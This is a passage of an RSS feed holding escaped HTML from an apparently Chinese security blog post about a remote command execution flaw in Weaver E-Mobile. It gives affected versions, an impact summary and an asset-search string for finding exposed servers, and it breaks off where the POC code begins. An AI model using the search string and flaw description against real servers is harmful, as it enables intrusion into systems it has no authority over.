data-headimg=&quot;http://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhLiaaoGI8LfuPiaA8ibUUtcv9nSuJJc1Pps7Ys43DOtfxA1zLlMExIyoJkyiaibxJBibUbupXrVXYyOn4vA/0?wx_fmt=png&quot; data-signature=&quot;聚焦最新漏洞动态，深度解析SRC、CVE、CNVD漏洞详情。提供漏洞复现教程、工具利用指南及整改方案。为渗透测试与网络安全从业者提供实战交流平台，助力提升安全技能。&quot; data-id=&quot;Mzk2NDkwMDg3Nw==&quot; data-is_biz_ban=&quot;0&quot; data-service_type=&quot;1&quot; data-verify_status=&quot;0&quot;&gt;&lt;/mp-common-profile&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 22:29:42 +0800</pubDate></item><item><title>泛微E-Mobile 远程命令执行漏洞（RCE）附POC</title><link>https://www.7x0.cn/post/26.html</link><description>&lt;h1 data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;关。该文章仅供学习用途使用。&lt;/span&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;h1&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;h1&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;h1&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;color: rgb(62, 62, 62); padding-right: 10px; padding-left: 10px; line-height: 1.6; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; color: rgb(62, 62, 62); font-size: 16px; background-color: rgb(255, 255, 255); padding-right: 20px; padding-left: 20px; line-height: 0.8; text-align: center; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞名称&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;h1 style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;泛微E-Mobile 远程命令执行漏洞&lt;/span&gt;&lt;/h1&gt;&lt;/section&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;h1 style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;02&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;background-color: #FFFFFF;line-height: 0.8;text-align: center;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;影响版本&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;泛微E-Mobile移动管理平台多个版本，部分漏洞影响版本为2024.3前&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;版本，部分涉及E-Mobile 6.0等版本。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200531177089793141602.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1099&quot; type=&quot;block&quot; data-imgfileid=&quot;100000677&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;03&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞简介&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;1&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;泛微e-Mobile移动管理平台是上海泛微网络科技股份有限公司推出的一款移动办公平台&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;，旨在帮助企业构建以员工为核心的移动&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;统一办公平台。它将企业ERP、CRM、OA&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;等各类系统应用融合在一个平台，覆盖组织管理、业务、财务等各方面，通过统一组织、统一消息、统一应用、统一搜索、统一报表等功能，实现信息聚合与高效协&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;同。&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;攻击者可利用漏洞绕过身份验证，执行任意系统命令，获取服务器控制权，可能导致数据泄露、系统被控、植入后门等严重后果。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;1&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;04&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;资产测绘&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;code-snippet__js&quot; data-lang=&quot;javascript&quot;&gt;&amp;quot;Weaver&amp;nbsp;E-Mobile&amp;quot;&lt;/pre&gt;&lt;/section&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200532177089793237575.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100000687&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;3 3 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; font-size: 16px; background-color: rgb(255, 255, 255); visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;color: rgb(62, 62, 62); padding-right: 10px; padding-left: 10px; line-height: 1.6; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; color: rgb(62, 62, 62); font-size: 16px; background-color: rgb(255, 255, 255); visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;05&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞复现&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;POC&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;code-snippet__js&quot; 